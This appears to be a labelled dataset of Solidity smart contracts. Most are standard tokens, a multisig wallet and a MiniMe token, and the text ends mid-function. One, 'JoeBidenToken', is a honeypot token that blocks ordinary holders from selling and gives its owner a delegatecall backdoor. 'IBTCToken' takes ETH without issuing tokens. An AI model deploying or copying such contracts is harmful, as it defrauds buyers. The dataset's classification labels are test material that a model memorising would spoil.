uint80 _burnFeeNumerator,
uint80 _burnFeeDenominator,
uint256 _burnFeeFlat) public onlyOwner {
require(_transferFeeDenominator != 0);
require(_mintFeeDenominator != 0);
require(_burnFeeDenominator != 0);
transferFeeNumerator = _transferFeeNumerator;
transferFeeDenominator = _transferFeeDenominator;
mintFeeNumerator = _mintFeeNumerator;
mintFeeDenominator = _mintFeeDenominator;
mintFeeFlat = _mintFeeFlat;
burnFeeNumerator = _burnFeeNumerator;
burnFeeDenominator = _burnFeeDenominator;
burnFeeFlat = _burnFeeFlat;
}
function changeStaker(address newStaker) public onlyOwner {
require(newStaker != address(0));
staker = newStaker;
}
function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
delegate = newContract;
DelegatedTo(delegate);
}
} | 1 | 4,358 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract JoeBidenToken {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,111 |
pragma solidity 0.4.18;
contract MultiSigWallet {
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
uint constant public MAX_OWNER_COUNT = 50;
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
function()
public
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (txn.destination.call.value(txn.value)(txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
function getOwners()
public
constant
returns (address[])
{
return owners;
}
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
} | 1 | 4,112 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract MintableToken is StandardToken, Ownable {
using SafeMath for uint256;
event Mint(address indexed to, uint256 amount);
uint constant YEAR_IN_SECONDS = 31536000;
uint constant ORIGIN_TIMESTAMP = 1514764800;
uint16 constant ORIGIN_YEAR = 2018;
uint256 originSupply_;
struct MintRecord {
uint percent;
address holder;
uint16 year;
uint256 amount;
uint timestamp;
}
mapping (uint16 => MintRecord) public mintedHistory;
function getYear(uint _timestamp) public pure returns (uint16) {
require(_timestamp > ORIGIN_TIMESTAMP);
return ORIGIN_YEAR + uint16((_timestamp - ORIGIN_TIMESTAMP) / YEAR_IN_SECONDS);
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function originSupply() public view returns (uint256) {
return originSupply_;
}
function mint() public hasMintPermission returns (bool) {
return _mint(block.timestamp);
}
function _mint(uint _timestamp) internal hasMintPermission returns (bool) {
uint16 year = getYear(_timestamp);
require(mintedHistory[year].percent == 0);
uint256 amount = totalSupply_.mul(200).div(10000);
totalSupply_ = totalSupply_.add(amount);
balances[msg.sender] = balances[msg.sender].add(amount);
mintedHistory[year] = MintRecord({
percent: 200,
amount: amount,
holder: msg.sender,
timestamp: _timestamp,
year: year
});
emit Transfer(address(0), msg.sender, amount);
emit Mint(msg.sender, amount);
return true;
}
}
contract HGSToken is PausableToken, MintableToken {
string public constant name = "Hawthorn Guardian System";
string public constant symbol = "HGS";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 2000000000 * (10 ** uint256(decimals));
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
originSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
} | 0 | 578 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract IERC20 {
function totalSupply() public constant returns (uint256);
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public;
function transferFrom(address from, address to, uint256 value) public;
function approve(address spender, uint256 value) public;
function allowance(address owner, address spender) public constant returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract IBTCToken is IERC20 {
using SafeMath for uint256;
string public name = "IBTC";
string public symbol = "IBTC";
uint public decimals = 18;
uint public _totalSupply = 21000000e18;
uint public _tokenLeft = 21000000e18;
mapping (address => uint256) balances;
mapping (address => mapping(address => uint256)) allowed;
address public owner;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function IBTCToken() public payable {
owner = "0x9FD6977e609AA945C6b6e40537dCF0A791775279";
balances[owner] = _totalSupply;
}
function () public payable {
tokensale(msg.sender);
}
function tokensale(address recipient) public payable {
require(recipient != 0x0);
}
function totalSupply() public constant returns (uint256) {
return _totalSupply;
}
function balanceOf(address who) public constant returns (uint256) {
return balances[who];
}
function sendIBTCToken(address to, uint256 value) public onlyOwner {
require (
to != 0x0 && value > 0 && _tokenLeft >= value
);
balances[owner] = balances[owner].sub(value);
balances[to] = balances[to].add(value);
_tokenLeft = _tokenLeft.sub(value);
Transfer(owner, to, value);
}
function sendIBTCTokenToMultiAddr(address[] listAddresses, uint256[] amount) onlyOwner {
require(listAddresses.length == amount.length);
for (uint256 i = 0; i < listAddresses.length; i++) {
require(listAddresses[i] != 0x0);
balances[listAddresses[i]] = balances[listAddresses[i]].add(amount[i]);
balances[owner] = balances[owner].sub(amount[i]);
Transfer(owner, listAddresses[i], amount[i]);
_tokenLeft = _tokenLeft.sub(amount[i]);
}
}
function destroyIBTCToken(address to, uint256 value) public onlyOwner {
require (
to != 0x0 && value > 0 && _totalSupply >= value
);
balances[to] = balances[to].sub(value);
}
function transfer(address to, uint256 value) public {
require (
balances[msg.sender] >= value && value > 0
);
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
Transfer(msg.sender, to, value);
}
function transferFrom(address from, address to, uint256 value) public {
require (
allowed[from][msg.sender] >= value && balances[from] >= value && value > 0
);
balances[from] = balances[from].sub(value);
balances[to] = balances[to].add(value);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(value);
Transfer(from, to, value);
}
function approve(address spender, uint256 value) public {
require (
balances[msg.sender] >= value && value > 0
);
allowed[msg.sender][spender] = value;
Approval(msg.sender, spender, value);
}
function allowance(address _owner, address spender) public constant returns (uint256) {
return allowed[_owner][spender];
}
function getTokenDetail() public constant returns (string, string, uint256) {
return (name, symbol, _totalSupply);
}
} | 1 | 3,902 |
pragma solidity ^0.4.18;
contract Controlled {
modifier onlyController { require(msg.sender == controller); _; }
address public controller;
function Controlled() public { controller = msg.sender;}
function changeController(address _newController) public onlyController {
controller = _newController;
}
}
contract TokenController {
function proxyPayment(address _owner) public payable returns(bool);
function onTransfer(address _from, address _to, uint _amount) public returns(bool);
function onApprove(address _owner, address _spender, uint _amount) public
returns(bool);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public;
}
contract MiniMeToken is Controlled {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'MMT_0.2';
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
MiniMeToken public parentToken;
uint public parentSnapShotBlock;
uint public creationBlock;
mapping (address => Checkpoint[]) balances;
mapping (address => mapping (address => uint256)) allowed;
Checkpoint[] totalSupplyHistory;
bool public transfersEnabled;
MiniMeTokenFactory public tokenFactory;
function MiniMeToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public {
tokenFactory = MiniMeTokenFactory(_tokenFactory);
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
parentToken = MiniMeToken(_parentToken);
parentSnapShotBlock = _parentSnapShotBlock;
transfersEnabled = _transfersEnabled;
creationBlock = block.number;
}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
return doTransfer(msg.sender, _to, _amount);
}
function transferFrom(address _from, address _to, uint256 _amount
) public returns (bool success) {
if (msg.sender != controller) {
require(transfersEnabled);
if (allowed[_from][msg.sender] < _amount) return false;
allowed[_from][msg.sender] -= _amount;
}
return doTransfer(_from, _to, _amount);
}
function doTransfer(address _from, address _to, uint _amount
) internal returns(bool) {
if (_amount == 0) {
return true;
}
require(parentSnapShotBlock < block.number);
require((_to != 0) && (_to != address(this)));
var previousBalanceFrom = balanceOfAt(_from, block.number);
if (previousBalanceFrom < _amount) {
return false;
}
if (isContract(controller)) {
require(TokenController(controller).onTransfer(_from, _to, _amount));
}
updateValueAtNow(balances[_from], previousBalanceFrom - _amount);
var previousBalanceTo = balanceOfAt(_to, block.number);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(balances[_to], previousBalanceTo + _amount);
Transfer(_from, _to, _amount);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
require(transfersEnabled);
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
if (isContract(controller)) {
require(TokenController(controller).onApprove(msg.sender, _spender, _amount));
}
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender
) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function approveAndCall(address _spender, uint256 _amount, bytes _extraData
) public returns (bool success) {
require(approve(_spender, _amount));
ApproveAndCallFallBack(_spender).receiveApproval(
msg.sender,
_amount,
this,
_extraData
);
return true;
}
function totalSupply() public constant returns (uint) {
return totalSupplyAt(block.number);
}
function balanceOfAt(address _owner, uint _blockNumber) public constant
returns (uint) {
if ((balances[_owner].length == 0)
|| (balances[_owner][0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint _blockNumber) public constant returns(uint) {
if ((totalSupplyHistory.length == 0)
|| (totalSupplyHistory[0].fromBlock > _blockNumber)) {
if (address(parentToken) != 0) {
return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock));
} else {
return 0;
}
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function createCloneToken(
string _cloneTokenName,
uint8 _cloneDecimalUnits,
string _cloneTokenSymbol,
uint _snapshotBlock,
bool _transfersEnabled
) public returns(address) {
if (_snapshotBlock == 0) _snapshotBlock = block.number;
MiniMeToken cloneToken = tokenFactory.createCloneToken(
this,
_snapshotBlock,
_cloneTokenName,
_cloneDecimalUnits,
_cloneTokenSymbol,
_transfersEnabled
);
cloneToken.changeController(msg.sender);
NewCloneToken(address(cloneToken), _snapshotBlock);
return address(cloneToken);
}
function generateTokens(address _owner, uint _amount
) public onlyController returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint previousBalanceTo = balanceOf(_owner);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_owner], previousBalanceTo + _amount);
Transfer(0, _owner, _amount);
return true;
}
function destroyTokens(address _owner, uint _amount
) onlyController public returns (bool) {
uint curTotalSupply = totalSupply();
require(curTotalSupply >= _amount);
uint previousBalanceFrom = balanceOf(_owner);
require(previousBalanceFrom >= _amount);
updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount);
updateValueAtNow(balances[_owner], previousBalanceFrom - _amount);
Transfer(_owner, 0, _amount);
return true;
}
function enableTransfers(bool _transfersEnabled) public onlyController {
transfersEnabled = _transfersEnabled;
}
function getValueAt(Checkpoint[] storage checkpoints, uint _block
) constant internal returns (uint) {
if (checkpoints.length == 0) return 0;
if (_block >= checkpoints[checkpoints.length-1].fromBlock)
return checkpoints[checkpoints.length-1].value;
if (_block < checkpoints[0].fromBlock) return 0;
uint min = 0;
uint max = checkpoints.length-1;
while (max > min) {
uint mid = (max + min + 1)/ 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value
) internal {
if ((checkpoints.length == 0)
|| (checkpoints[checkpoints.length -1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
function isContract(address _addr) constant internal returns(bool) {
uint size;
if (_addr == 0) return false;
assembly {
size := extcodesize(_addr)
}
return size>0;
}
function min(uint a, uint b) pure internal returns (uint) {
return a < b ? a : b;
}
function () public payable {
require(isContract(controller));
require(TokenController(controller).proxyPayment.value(msg.value)(msg.sender));
}
function claimTokens(address _token) public onlyController {
